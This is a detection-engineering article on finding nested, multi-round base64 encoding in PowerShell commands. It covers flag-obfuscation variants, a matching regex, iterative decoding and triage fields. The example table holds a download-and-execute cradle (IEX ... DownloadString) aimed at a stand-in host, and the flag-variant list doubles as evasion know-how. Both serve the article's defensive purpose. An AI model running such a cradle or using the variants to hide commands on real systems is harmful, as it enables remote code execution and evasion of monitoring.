Detecting Nested PowerShell Encoding
PowerShell's -EncodedCommand flag accepts a base64-encoded UTF-16LE string of a command to execute. The parser also recognizes many alternate forms of this flag, including documented abbreviations, alternate prefixes, and obfuscated variants, all covered in a later section. Encoding by itself is not suspicious. It's extremely common across enterprise environments, used wherever a tool needs to pass complex commands containing quotes, special characters, embedded newlines, or scripts that have to round-trip cleanly through configuration files. Scheduled Tasks, GPO logon scripts, MSI installers, software deployment platforms, and CI/CD pipelines all generate encoded PowerShell routinely. Treating encoded commands as inherently suspicious would drown a SOC in noise.
Multiple rounds of encoding are different. When a decoded -EncodedCommand payload is itself another -EncodedCommand invocation, you are looking at deliberate obfuscation.
What it looks like
An encoded command holds a complete inner command. With multiple rounds, that inner command is itself encoded.
| Layer | Length | Content (truncated for readability) |
|---|---|---|
| As observed | ~1,735 chars | powershell.exe -EncodedCommand JABzAGYAaQBuACAAPQAg... [truncated] |
| After 1st decode | ~639 chars | powershell.exe -EncodedCommand cABvAHcAZQByAHMAaABl... [truncated] |
| After 2nd decode | ~227 chars | powershell.exe -EncodedCommand SQBFAFgAKABOAGUAdwAt... [truncated] |
| After 3rd decode | 73 chars | IEX(New-Object Net.WebClient).DownloadString('http://evil.example/p.ps1') |
Three layers of base64 plus UTF-16LE encoding wrap a single payload. Each decode reveals another -EncodedCommand invocation. The bottom layer is the actual command.
What makes it abnormal
Legitimate tools that use -EncodedCommand produce exactly one round, because there's no toolchain reason to wrap an already-encoded command again. Anything beyond one round is a deliberate choice.
| Encoding rounds | What it usually means |
|---|---|
| 0 (plain text) | Normal command line. Most commands. |
| 1 round | Tool-generated encoding for special characters. Common in Scheduled Tasks, GPO logon scripts, MSI installers, CI/CD pipelines. |
| 2 rounds | Obfuscation chain. Almost no legitimate reason to wrap an already-encoded command in another -EncodedCommand. |
| 3 or more rounds | Active evasion of signature-based detection. Practically always malicious. |
A single round means almost nothing by itself because legitimate one-round encoding is everywhere. Two rounds mean deliberate wrapping that no normal toolchain produces.
Why rounds top out at eight
Each round wraps the previous command line as <binary> <flag> <base64> and re-encodes the result. Two transformations happen during encoding. The string is first converted to UTF-16LE, where each character becomes 2 bytes. That doubles the byte count. Those bytes are then base64-encoded, where every 3 input bytes produce 4 output characters. That multiplies the byte count by 4/3. Combined, each round grows the inner command by 2 × (4/3) = 8/3 ≈ 2.67x. The wrapping itself adds a fixed prefix overhead from the binary name, the chosen flag, and the separating spaces.
Per-round overhead reaches a minimum of 8 characters with canonical binaries. The smallest viable form uses pwsh (4 characters) and -e (2 characters), with the two single-character spaces required to separate the binary from the flag and the flag from the encoded payload. PowerShell 7+ ships as pwsh.exe, six characters shorter than powershell.exe, and -e is the shortest unambiguous abbreviation of -EncodedCommand. The numbers below come from running the chain with that smallest configuration starting from payload 1.
| Round | Encoded base64 length | Total command line length | Note |
|---|---|---|---|
| 1 | 4 chars | 12 chars | The payload "1" encoded once |
| 2 | 32 chars | 40 chars | |
| 3 | 108 chars | 116 chars | |
| 4 | 312 chars | 320 chars | |
| 5 | 856 chars | 864 chars | |
| 6 | 2,304 chars | 2,312 chars | |
| 7 | 6,168 chars | 6,176 chars | Last round whose command line fits under CMD's 8,191-char limit |
| 8 | 16,472 chars | 16,480 chars | Last round whose command line fits under CreateProcess's 32,767-char limit |
| 9 | 43,948 chars | 43,956 chars | Exceeds CreateProcess's 32,767-char limit; cannot execute |
Round 8 is the ceiling for canonical PowerShell binaries. At round 9 the encoded portion alone is 43,948 characters, larger than CreateProcess's command line cap of 32,767 characters before any prefix is added. With powershell.exe the chain still caps at round 8, just with a larger command line at every round. With longer flag forms or randomly obfuscated variants, per-round overhead grows further but the round 8 ceiling holds. With realistic starting payloads of hundreds or thousands of characters, the ceiling drops to 5 or 6 because each round inflates faster from a larger base. An attacker who renames the PowerShell binary to a single character could squeeze in a ninth round in theory, but renaming the host binary is itself rare and detectable through other means.
The detection alerts on 2 or more rounds and counts what it finds, with no upper cap. The natural observational ceiling at 8 means analysts in practice will see counts in the 2 to 8 range. Higher values would indicate either the renamed-binary edge case or an instrumentation bug.
The flag's many accepted forms
PowerShell's command-line parser is permissive in ways attackers reliably exploit. The flag is not just -EncodedCommand. The parser accepts a wide variety of shapes, all of which resolve to the same instruction.
| Variation | Examples (all execute identically) | What's happening |
|---|---|---|
| Prefix character | -enc, /ec, –e (en-dash, U+2013), —encod (em-dash, U+2014) | The parser treats hyphen, forward slash, en-dash, and em-dash as interchangeable flag prefixes. Logging pipelines often normalize dash characters back to ASCII hyphen, hiding the original form on the way to the SIEM. |
| Parameter abbreviation | -e, -en, -enc, -enco, -encod, ... -encodedcommand | PowerShell resolves any unambiguous prefix match. -e is unique among PowerShell.exe top-level parameters, so any prefix from -e through the full name works. |
| Case insensitivity | -EnCoDeDcOmMaNd, -Ec, -eNc | Flag names are case-insensitive. Random case is the cheapest way to defeat naive substring matching. |
| Embedded empty quotes | -""ec, -ec"", -"ec", -"e""c" | Empty "" pairs and quoted boundaries get stripped during parsing. The token resolves to -ec. |
| Backtick escaping | `-enc, -`e`n`c | Backticks (PowerShell's escape character) before or between flag characters get folded by the parser. |
| Whitespace and quotes inside the flag | -"ec ", -"e"c | Quoted whitespace and interleaved quote characters inside the flag token can be tolerated by the parser while still resolving to a known flag. |
These axes combine independently. The matchable surface is the cross-product of the rows, not the union. In practice the permutation space is effectively unbounded once case, prefix, abbreviation, and quoting mix. A few real samples from a single test run produced forms like /eNCOdEdcOmman, -EnCoDEd"", —E"", /encO, —ENCodeDCoMMan, -""EnCoDEDcOMMA, —"enCO ", /"ENCo ", —""eC, -"ENC ". The detection has to match the parser's tolerance generatively rather than enumerate forms.
PowerShell ships in three Windows binaries. The first is powershell.exe. The second is pwsh.exe (PowerShell 7+). The third is powershell_ise.exe, the ISE GUI. All three host the same engine, so all three can produce multi-round encoded commands. The ISE differs from the other two in how that activity reaches process telemetry. It's a GUI host, and code typed into its console pane or run from its script pane executes inside the ISE process itself rather than as a subprocess invocation, so no per-command process line is generated for each round (although this may vary depending on EDR tooling). PowerShell ScriptBlock logging (Event ID 4104) is the parallel data source for in-process activity in any host, including ISE. Renamed copies of any of the three binaries behave the same way as their canonical names.
A regex covering the variation surface, with case-insensitive matching enabled, takes the following form:
[`]*([\-\/\–\—])[^A-Za-z]*e[ncodema"`'\s]*\s+(?<EncodedCommand>[A-Za-z0-9\+\/\=\"\'\s]+)
The first group captures the prefix character. The middle character class consumes any combination of letters from encodedcommand, quotes, backticks, and whitespace, which catches case-mixed abbreviations, embedded empty quotes, and backtick-escaped variants in any combination. The named capture group at the end pulls out the base64 payload, which itself can contain whitespace, quotes, and line continuations. A pre-filter that hard-codes the literal string -EncodedCommand, or even a small alias list, misses every variation above.
Detect it dynamically
Don't rely on the encoded form. The encoded blob is by design indistinguishable random-looking text. Decode iteratively and let the round count be the signal.
| Step | What | Why |
|---|---|---|
| 1. Pre-filter | Apply the parser-tolerant flag regex (shown in the previous section) to the command line of every process creation event. The match is binary-agnostic. Any process whose command line contains the pattern is in scope, whether it's powershell.exe, pwsh.exe, or a renamed copy. | Casts a wide enough net to catch obfuscated invocations. False matches (suspicious-looking command lines that aren't real encoded commands) get dropped harmlessly at the decode step when the base64 fails to parse. |
| 2. Decode and check | Extract the base64 from the named capture group. Decode it, convert from UTF-16LE bytes back to a string, then re-apply the same flag regex to that decoded string. If it matches, decode the new base64 capture group and check again. Repeat until the regex no longer finds a match in the decoded output. | The number of decode iterations is the round count. The regex is the engine of the detection at every layer, and the base64 decoder is the second hard prerequisite. Without both available in the query path or pipeline, this method is not implementable. |
| 3. Alert | Round count >= 2. | One round of encoding is normal across many legitimate tools. Two rounds is deliberate wrapping with essentially no legitimate equivalent. |
| 4. Capture | Store the round count, every intermediate decoded layer, and the final decoded payload. | Triage relies on what the inner-most command actually does and on being able to walk the layers. |
Filtering benign cases happens against the decoded payload, not the encoded form. If the inner-most command is a known-good automation script, the alert closes. The encoded outer wrapper is uniformly random-looking and tells you nothing about intent.
Method choices
Methods differ on whether they actually decode the chain. Anything that doesn't run the regex-and-decode loop works from a uniformly random-looking input and can't see structure that isn't there.
| Confidence | Method | Operational shape | Why this rank |
|---|---|---|---|
| Primary | Run the iterative regex-and-decode loop at query time. Apply the flag regex, decode the captured base64, re-apply the regex to the decoded string, and repeat. Alert when the iteration count reaches 2. | Requires both a base64 decoder and a regex engine in the query path. Each iteration is one decode plus one regex match, and the chain caps at eight rounds, so the work is bounded. | The detection IS the iterative loop. Nothing about the encoded form in isolation produces the signal. Two rounds means deliberate wrapping. One round means a normal tool generated it. The threshold is grounded in semantics, not statistics. |
| Stronger but expensive | Run the same iterative regex-and-decode loop at ingest. Tag every PowerShell process event with the resulting round count, the final decoded payload, and the intermediate layers as new fields. | Decoder and regex run in the ingestion pipeline. Adds processing cost on every PowerShell event, not just suspect ones. Same algorithm, just earlier. | Worth it if the environment runs a lot of encoded PowerShell legitimately. Detection queries become field comparisons on round count, and triage queries don't have to re-decode anything. |
| Avoid | Pattern matching, entropy scoring, or length analysis applied to the base64 blob itself | Cheap. | The base64 output is by design random-looking. Heuristics on the blob get undone by the next obfuscator. The signal lives in the decoded layers, not in the bytes of the encoded payload. This is distinct from the regex applied to the command line text, which is required. |
| Avoid | Static command line length thresholds as the primary signal | Cheap. | Long command lines exist for legitimate reasons. Long does not equal multiple rounds. The round count is what matters. |
Enrichments for triage
Round count fires the alert. Everything else, including whether the activity is actually malicious, is determined by what shows up after decoding.
| Triage value | Enrichment | Source | Why |
|---|---|---|---|
| High | Round count detected | Live query | The alert criterion itself, surfaced as a sortable field. Two rounds and eight rounds get triaged differently. |
| High | Final decoded payload (the inner-most command) | Live query | The actual command being run. The deciding factor for malicious vs benign. |
| High | Strings extracted from the decoded payload (URLs, IPs, file paths, registry keys, function names like Invoke-Expression, DownloadString, Reflection.Assembly) | Live query | The payload itself often points at the next stage. Surfacing extracted indicators avoids analysts having to read the full decoded script. |
| High | All intermediate decoded layers | Live query | Diverging round counts between detectors are usually layer-counting differences. Showing every layer makes the chain auditable. |
| High | Process lineage (parent and grandparent process names, command lines, hashes) | Live query | Whether this came from a user shell, a service, an attacker tool, or a known automation account changes triage entirely. |
| Moderate | Process metadata (image hash, image path, signing status, version) | Live query | Confirms the binary is a legitimate signed PowerShell host versus a renamed copy. The hash also pivots cleanly across other events on the same or different hosts. |
| Moderate | Decoded payload length | Live query | A very short decoded payload often indicates a stager that immediately reaches out for the real script. A very long decoded payload usually contains the full script in line. |
| Moderate | Decoded payload entropy | Live query | Low entropy decoded content reads as normal PowerShell. High entropy decoded content suggests another encoding, encryption, or compression layer that the iterative decoder couldn't unwrap. |
| Moderate | User account context (interactive, service, SYSTEM, scheduled task) | Live query / maintained reference dataset | All contexts are in scope for the alert. Context informs response routing and severity, not whether to alert. SYSTEM-context multi-round encoding is just as relevant as interactive user encoding. |
| Moderate | Whether the parent process is a known automation or admin tool | Maintained reference dataset | Cuts known-good cases fast. |
| Lower | Host metadata (OS, owner, organizational unit, location) | Maintained reference dataset | Routine triage info. Routes the alert to the right team. |